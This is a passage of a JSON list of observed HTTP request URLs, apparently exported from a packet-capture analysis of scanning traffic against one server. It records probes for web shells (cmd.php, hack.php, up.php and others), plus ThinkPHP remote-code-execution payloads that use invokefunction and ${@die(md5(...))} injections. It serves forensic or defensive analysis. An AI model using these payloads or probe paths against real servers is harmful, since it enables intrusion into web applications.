            "frame_number": 267,
            "display_filter": "frame.number == 267",
            "timestamp_epoch": "1577255406.674669000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-a2bf4508284aed219a1ad7c9",
        "last_seen_epoch": "1577255406.674669000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255406.674669000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/erba.php",
        "evidence": [
          {
            "tcp_stream": 64,
            "frame_number": 1942,
            "display_filter": "frame.number == 1942",
            "timestamp_epoch": "1577256247.124155000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-7a6e74f84a9c56a87ed6a9f2",
        "last_seen_epoch": "1577256247.124155000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256247.124155000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/error.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1048,
            "display_filter": "frame.number == 1048",
            "timestamp_epoch": "1577255805.863922000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-47cdb148ccb3c992a69a0c4a",
        "last_seen_epoch": "1577255805.863922000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255805.863922000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/erwa.php",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1589,
            "display_filter": "frame.number == 1589",
            "timestamp_epoch": "1577256084.839614000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-86d661da8c353196853c53ed",
        "last_seen_epoch": "1577256084.839614000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256084.839614000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/fack.php",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1761,
            "display_filter": "frame.number == 1761",
            "timestamp_epoch": "1577256170.060043000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-0e6c449e7a0a34259e27de83",
        "last_seen_epoch": "1577256170.060043000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256170.060043000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/feixiang.php",
        "evidence": [
          {
            "tcp_stream": 31,
            "frame_number": 1119,
            "display_filter": "frame.number == 1119",
            "timestamp_epoch": "1577255826.130493000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-ca54553bd45ed3674d586ccb",
        "last_seen_epoch": "1577255826.130493000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255826.130493000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/ffr.php",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 611,
            "display_filter": "frame.number == 611",
            "timestamp_epoch": "1577255623.655459000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-77f6295b68fda0f018e706e0",
        "last_seen_epoch": "1577255623.655459000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255623.655459000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/floaw.php",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 412,
            "display_filter": "frame.number == 412",
            "timestamp_epoch": "1577255487.996051000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-491cd966bb24b6d3d416efac",
        "last_seen_epoch": "1577255487.996051000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255487.996051000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/forum.php",
        "evidence": [
          {
            "tcp_stream": 2,
            "frame_number": 48,
            "display_filter": "frame.number == 48",
            "timestamp_epoch": "1577255349.559043000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-bedfd9ea8762d0f295aa1dc9",
        "last_seen_epoch": "1577255349.559043000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255349.559043000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/forum/index.php",
        "evidence": [
          {
            "tcp_stream": 2,
            "frame_number": 58,
            "display_filter": "frame.number == 58",
            "timestamp_epoch": "1577255355.200791000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-42bd5c771a66b0b98ae147d3",
        "last_seen_epoch": "1577255355.200791000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255355.200791000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/forums.php",
        "evidence": [
          {
            "tcp_stream": 2,
            "frame_number": 52,
            "display_filter": "frame.number == 52",
            "timestamp_epoch": "1577255350.624382000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-1506fdecd77976753b39bb69",
        "last_seen_epoch": "1577255350.624382000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255350.624382000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/forums/index.php",
        "evidence": [
          {
            "tcp_stream": 2,
            "frame_number": 62,
            "display_filter": "frame.number == 62",
            "timestamp_epoch": "1577255355.468512000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-14ef09b22a94458ea616ccf1",
        "last_seen_epoch": "1577255355.468512000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255355.468512000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/freebook.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 996,
            "display_filter": "frame.number == 996",
            "timestamp_epoch": "1577255791.267101000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-9b99108e5276c834c68970ce",
        "last_seen_epoch": "1577255791.267101000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255791.267101000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/ftmabc.php",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 415,
            "display_filter": "frame.number == 415",
            "timestamp_epoch": "1577255488.475320000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-a4fb86c9d5190268ceae224a",
        "last_seen_epoch": "1577255488.475320000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255488.475320000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/fuck.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 993,
            "display_filter": "frame.number == 993",
            "timestamp_epoch": "1577255790.265684000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-5aacc5490014c7ce9ed30f1d",
        "last_seen_epoch": "1577255790.265684000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255790.265684000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/fusheng.php",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1604,
            "display_filter": "frame.number == 1604",
            "timestamp_epoch": "1577256091.989098000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-16503846b99f29ae40b898ad",
        "last_seen_epoch": "1577256091.989098000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256091.989098000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/g.php",
        "evidence": [
          {
            "tcp_stream": 65,
            "frame_number": 1995,
            "display_filter": "frame.number == 1995",
            "timestamp_epoch": "1577256280.962049000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-7d0f76a3906c53b623f8b16e",
        "last_seen_epoch": "1577256280.962049000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256280.962049000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/general.php",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1607,
            "display_filter": "frame.number == 1607",
            "timestamp_epoch": "1577256095.306165000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-8c24c17e049ee207cdb93f60",
        "last_seen_epoch": "1577256095.306165000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256095.306165000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/godkey.php",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1583,
            "display_filter": "frame.number == 1583",
            "timestamp_epoch": "1577256084.192484000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-56d484fe23248379391b3724",
        "last_seen_epoch": "1577256084.192484000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256084.192484000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/goodbook.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 999,
            "display_filter": "frame.number == 999",
            "timestamp_epoch": "1577255795.064114000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-40c88fae491ff80ea3996c82",
        "last_seen_epoch": "1577255795.064114000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255795.064114000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/gotemp.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1008,
            "display_filter": "frame.number == 1008",
            "timestamp_epoch": "1577255796.767039000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-0088a3aeb02f82027fceaa14",
        "last_seen_epoch": "1577255796.767039000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255796.767039000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/guai.php",
        "evidence": [
          {
            "tcp_stream": 63,
            "frame_number": 1906,
            "display_filter": "frame.number == 1906",
            "timestamp_epoch": "1577256229.963973000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-e1a6ad6d1ce15b1830c54ea7",
        "last_seen_epoch": "1577256229.963973000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256229.963973000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/h1.php",
        "evidence": [
          {
            "tcp_stream": 39,
            "frame_number": 1299,
            "display_filter": "frame.number == 1299",
            "timestamp_epoch": "1577255918.830258000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-2f47288dac7332bfcca44d95",
        "last_seen_epoch": "1577255918.830258000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255918.830258000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/hack.php",
        "evidence": [
          {
            "tcp_stream": 51,
            "frame_number": 1543,
            "display_filter": "frame.number == 1543",
            "timestamp_epoch": "1577256075.350598000"
          },
          {
            "tcp_stream": 52,
            "frame_number": 1551,
            "display_filter": "frame.number == 1551",
            "timestamp_epoch": "1577256077.796477000"
          },
          {
            "tcp_stream": 52,
            "frame_number": 1555,
            "display_filter": "frame.number == 1555",
            "timestamp_epoch": "1577256078.842540000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-e95b02c313d813a646d04bda",
        "last_seen_epoch": "1577256078.842540000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256075.350598000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/hacly.php",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1773,
            "display_filter": "frame.number == 1773",
            "timestamp_epoch": "1577256178.780363000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-c556da4f360bd0708a9d9c00",
        "last_seen_epoch": "1577256178.780363000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256178.780363000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/hades.php",
        "evidence": [
          {
            "tcp_stream": 28,
            "frame_number": 887,
            "display_filter": "frame.number == 887",
            "timestamp_epoch": "1577255757.982191000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-e25ba5a071949e25a1b11c7a",
        "last_seen_epoch": "1577255757.982191000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255757.982191000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/haiyan.php",
        "evidence": [
          {
            "tcp_stream": 15,
            "frame_number": 529,
            "display_filter": "frame.number == 529",
            "timestamp_epoch": "1577255590.490492000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-799739ef1ed72a350a72b573",
        "last_seen_epoch": "1577255590.490492000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255590.490492000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/hd.php",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 379,
            "display_filter": "frame.number == 379",
            "timestamp_epoch": "1577255479.404783000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-d536ceacda85483970bef3f2",
        "last_seen_epoch": "1577255479.404783000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255479.404783000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/hell.php",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 112,
            "display_filter": "frame.number == 112",
            "timestamp_epoch": "1577255370.827144000"
          },
          {
            "tcp_stream": 54,
            "frame_number": 1643,
            "display_filter": "frame.number == 1643",
            "timestamp_epoch": "1577256121.994922000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-89b875e2f4d606b5003255c9",
        "last_seen_epoch": "1577256121.994922000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255370.827144000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/hello.php",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1623,
            "display_filter": "frame.number == 1623",
            "timestamp_epoch": "1577256098.611587000"
          },
          {
            "tcp_stream": 52,
            "frame_number": 1626,
            "display_filter": "frame.number == 1626",
            "timestamp_epoch": "1577256102.501321000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-a5a4b039151207f6bbd85999",
        "last_seen_epoch": "1577256102.501321000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256098.611587000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/help-e.php",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 103,
            "display_filter": "frame.number == 103",
            "timestamp_epoch": "1577255370.023839000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-03a1e4dab87cf3adb32e6d32",
        "last_seen_epoch": "1577255370.023839000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255370.023839000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/help.php",
        "evidence": [
          {
            "tcp_stream": 2,
            "frame_number": 75,
            "display_filter": "frame.number == 75",
            "timestamp_epoch": "1577255356.563321000"
          },
          {
            "tcp_stream": 43,
            "frame_number": 1350,
            "display_filter": "frame.number == 1350",
            "timestamp_epoch": "1577255964.221343000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-ed871803773f8ca9d01d135c",
        "last_seen_epoch": "1577255964.221343000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255356.563321000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/hgx.php",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 729,
            "display_filter": "frame.number == 729",
            "timestamp_epoch": "1577255677.533532000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-4b5306b9d80985d56cd37f02",
        "last_seen_epoch": "1577255677.533532000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255677.533532000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/hh.php",
        "evidence": [
          {
            "tcp_stream": 36,
            "frame_number": 1261,
            "display_filter": "frame.number == 1261",
            "timestamp_epoch": "1577255902.051798000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-9b0f3766b7e260600257a385",
        "last_seen_epoch": "1577255902.051798000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255902.051798000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/hhh.php",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 598,
            "display_filter": "frame.number == 598",
            "timestamp_epoch": "1577255617.794802000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-a3d38e432f9e3e74f7f7d151",
        "last_seen_epoch": "1577255617.794802000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255617.794802000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/hhhhhh.php",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 444,
            "display_filter": "frame.number == 444",
            "timestamp_epoch": "1577255501.859637000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-fcdc9f7c19be51a3358c6781",
        "last_seen_epoch": "1577255501.859637000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255501.859637000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/hm.php",
        "evidence": [
          {
            "tcp_stream": 33,
            "frame_number": 1160,
            "display_filter": "frame.number == 1160",
            "timestamp_epoch": "1577255832.257399000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-f79ef99ab83689e72a591ad8",
        "last_seen_epoch": "1577255832.257399000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255832.257399000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/home.php",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 311,
            "display_filter": "frame.number == 311",
            "timestamp_epoch": "1577255416.653296000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-703f280658f1747952691a7c",
        "last_seen_epoch": "1577255416.653296000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255416.653296000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/hs.php",
        "evidence": [
          {
            "tcp_stream": 14,
            "frame_number": 514,
            "display_filter": "frame.number == 514",
            "timestamp_epoch": "1577255577.898801000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-bf9e7470064138f39025b5da",
        "last_seen_epoch": "1577255577.898801000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255577.898801000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/htdocs.php",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 124,
            "display_filter": "frame.number == 124",
            "timestamp_epoch": "1577255372.472235000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-ddf78b7a8c17293ca562d614",
        "last_seen_epoch": "1577255372.472235000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255372.472235000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/htfr.php",
        "evidence": [
          {
            "tcp_stream": 46,
            "frame_number": 1425,
            "display_filter": "frame.number == 1425",
            "timestamp_epoch": "1577256009.122112000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-fa7171f514ceddb0b2a9dc71",
        "last_seen_epoch": "1577256009.122112000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256009.122112000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/hue2.php",
        "evidence": [
          {
            "tcp_stream": 6,
            "frame_number": 341,
            "display_filter": "frame.number == 341",
            "timestamp_epoch": "1577255438.526066000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-49b6e55278584ce36a8aa2fc",
        "last_seen_epoch": "1577255438.526066000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255438.526066000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/huoshan.php",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 405,
            "display_filter": "frame.number == 405",
            "timestamp_epoch": "1577255485.652981000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-580f2460152035a782348aa6",
        "last_seen_epoch": "1577255485.652981000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255485.652981000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/HX.php",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1687,
            "display_filter": "frame.number == 1687",
            "timestamp_epoch": "1577256137.146098000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-c8b92a9ed28c886d60aafb31",
        "last_seen_epoch": "1577256137.146098000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256137.146098000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/images/!.php",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 372,
            "display_filter": "frame.number == 372",
            "timestamp_epoch": "1577255477.790960000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-08d70b8ff06ddc4ca995f5f4",
        "last_seen_epoch": "1577255477.790960000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255477.790960000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/images/attari.php",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 386,
            "display_filter": "frame.number == 386",
            "timestamp_epoch": "1577255482.273937000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-28a3a25dd799f94e900c1a1e",
        "last_seen_epoch": "1577255482.273937000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255482.273937000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/images/jsspwneed.php",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 389,
            "display_filter": "frame.number == 389",
            "timestamp_epoch": "1577255482.534726000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-1abbe1a02395b3fd2a590bfc",
        "last_seen_epoch": "1577255482.534726000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255482.534726000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/images/stories/cmd.php",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 392,
            "display_filter": "frame.number == 392",
            "timestamp_epoch": "1577255483.482394000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-9ff1f02ac3e0c13567b174ef",
        "last_seen_epoch": "1577255483.482394000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255483.482394000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/images/stories/filemga.php?ssp=RfVbHu",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 396,
            "display_filter": "frame.number == 396",
            "timestamp_epoch": "1577255483.742395000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-6a01a03171264c54b1ccbc6d",
        "last_seen_epoch": "1577255483.742395000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255483.742395000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/images/up.php",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 382,
            "display_filter": "frame.number == 382",
            "timestamp_epoch": "1577255481.943972000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-037067a21b8dbd1d4f9ecd80",
        "last_seen_epoch": "1577255481.943972000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255481.943972000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/images/vuln.php",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 376,
            "display_filter": "frame.number == 376",
            "timestamp_epoch": "1577255478.909715000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-c8ba27c5371c28cfb453ad03",
        "last_seen_epoch": "1577255478.909715000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255478.909715000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/indax.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 972,
            "display_filter": "frame.number == 972",
            "timestamp_epoch": "1577255786.551312000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-f4a7966ad680d11d7e1d30f5",
        "last_seen_epoch": "1577255786.551312000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255786.551312000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/index.php",
        "evidence": [
          {
            "tcp_stream": 1,
            "frame_number": 34,
            "display_filter": "frame.number == 34",
            "timestamp_epoch": "1577255336.009530000"
          },
          {
            "tcp_stream": 68,
            "frame_number": 2041,
            "display_filter": "frame.number == 2041",
            "timestamp_epoch": "1577256306.171632000"
          },
          {
            "tcp_stream": 70,
            "frame_number": 2069,
            "display_filter": "frame.number == 2069",
            "timestamp_epoch": "1577256335.096977000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-2a607064f5a2265379c3c19a",
        "last_seen_epoch": "1577256335.096977000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255336.009530000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/index.php/module/action/param1/${@die(md5(HelloThinkPHP))}",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 273,
            "display_filter": "frame.number == 273",
            "timestamp_epoch": "1577255407.258901000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-daaaaa04535da9f9ac841fb7",
        "last_seen_epoch": "1577255407.258901000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255407.258901000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 264,
            "display_filter": "frame.number == 264",
            "timestamp_epoch": "1577255406.392481000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-e4d8f71f4bc7cc7afb793e14",
        "last_seen_epoch": "1577255406.392481000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255406.392481000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))}",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 276,
            "display_filter": "frame.number == 276",
            "timestamp_epoch": "1577255408.043081000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-7b4782b471cb60eaa60838dd",
        "last_seen_epoch": "1577255408.043081000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255408.043081000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/indexl.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1005,
            "display_filter": "frame.number == 1005",
            "timestamp_epoch": "1577255795.869717000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-a0b3445a341f481ca03434e7",
        "last_seen_epoch": "1577255795.869717000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255795.869717000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/infoo.php",
        "evidence": [
          {
            "tcp_stream": 36,
            "frame_number": 1271,
            "display_filter": "frame.number == 1271",
            "timestamp_epoch": "1577255904.616745000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-4c71ff90620e22d9711db567",
        "last_seen_epoch": "1577255904.616745000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255904.616745000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/infos.php",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1708,
            "display_filter": "frame.number == 1708",
            "timestamp_epoch": "1577256139.796264000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-8e264c53f37231e6aba26a51",
        "last_seen_epoch": "1577256139.796264000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256139.796264000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/ioi.php",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 750,
            "display_filter": "frame.number == 750",
            "timestamp_epoch": "1577255682.592211000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-6418bdecd622cdd9f6c0e511",
        "last_seen_epoch": "1577255682.592211000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255682.592211000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/ip.php",
        "evidence": [
          {
            "tcp_stream": 36,
            "frame_number": 1268,
            "display_filter": "frame.number == 1268",
            "timestamp_epoch": "1577255902.620402000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-bd62fb4d4ade8ba2f466b9ad",
        "last_seen_epoch": "1577255902.620402000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255902.620402000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/izom.php",
        "evidence": [
          {
